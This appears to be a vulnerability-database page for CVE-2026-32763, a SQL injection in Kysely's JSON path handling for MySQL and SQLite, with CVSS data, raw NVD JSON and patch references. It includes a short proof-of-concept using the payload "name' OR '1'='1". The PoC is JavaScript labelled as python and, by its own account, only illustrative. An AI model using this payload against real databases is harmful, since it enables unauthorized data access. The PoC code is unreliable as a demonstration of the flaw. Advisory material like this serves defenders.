Security Vulnerability Report
中文
CVE-2026-32763 CVSS 8.2 HIGH

CVE-2026-32763

Published: 2026-03-20 00:16:18
Last Modified: 2026-04-08 20:57:45

Description

Kysely is a type-safe TypeScript SQL query builder. Versions up to and including 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`'$.key'`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL. This is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected. Version 0.28.12 fixes the issue.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kysely:kysely:*:*:*:*:*:node.js:*:* - VULNERABLE
Kysely <= 0.28.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Code for CVE-2026-32763 // Target: Kysely <= 0.28.11 (MySQL/SQLite dialects) const { Kysely, sql } = require('kysely'); // Assume a database connection is established // const db = new Kysely({...}); async function exploit() { // 1. Attacker controls the input used in the JSON path // The single quote is used to break out of the string context const maliciousInput = "name' OR '1'='1"; // 2. Vulnerable Query Construction // The application uses user input to build a JSON path. // In vulnerable versions, the generated SQL looks like: // SELECT * FROM users WHERE JSON_EXTRACT(data, '$."name' OR '1'='1"') // The unescaped single quote allows injecting arbitrary SQL. // Example using the raw expression or helper that maps to visitJSONPathLeg const result = await db .selectFrom('users') .selectAll() .where((eb) => eb( 'json_column', '=', sql`JSON_EXTRACT(json_column, '$.${maliciousInput}')` // Illustrative of the internal concatenation )) .execute(); console.log("Exploit executed. SQL Injected via JSON path."); } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32763", "sourceIdentifier": "[email protected]", "published": "2026-03-20T00:16:17.790", "lastModified": "2026-04-08T20:57:45.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kysely is a type-safe TypeScript SQL query builder. Versions up to and including 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`'$.key'`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL. This is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected. Version 0.28.12 fixes the issue."}, {"lang": "es", "value": "Kysely es un constructor de consultas SQL de TypeScript con seguridad de tipos. Las versiones hasta la 0.28.11 inclusive tienen una vulnerabilidad de inyección SQL en la compilación de rutas JSON para los dialectos de MySQL y SQLite. La función visitJSONPathLeg() añade valores controlados por el usuario de .key() y .at() directamente en literales de cadena de ruta JSON entre comillas simples ('$.key') sin escapar las comillas simples. Un atacante puede salir del contexto de la cadena de ruta JSON e inyectar SQL arbitrario. Esto es inconsistente con sanitizeIdentifier(), que duplica correctamente los caracteres delimitadores para los identificadores — ambos son constructos SQL no parametrizables que requieren escape manual, pero solo los identificadores están protegidos. La versión 0.28.12 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kysely:kysely:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "0.26.0", "versionEndExcluding": "0.28.12", "matchCriteriaId": "B1A94611-2C50-4312-ABC1-22E5B3BB63E3"}]}]}], "references": [{"url": "https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.12", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}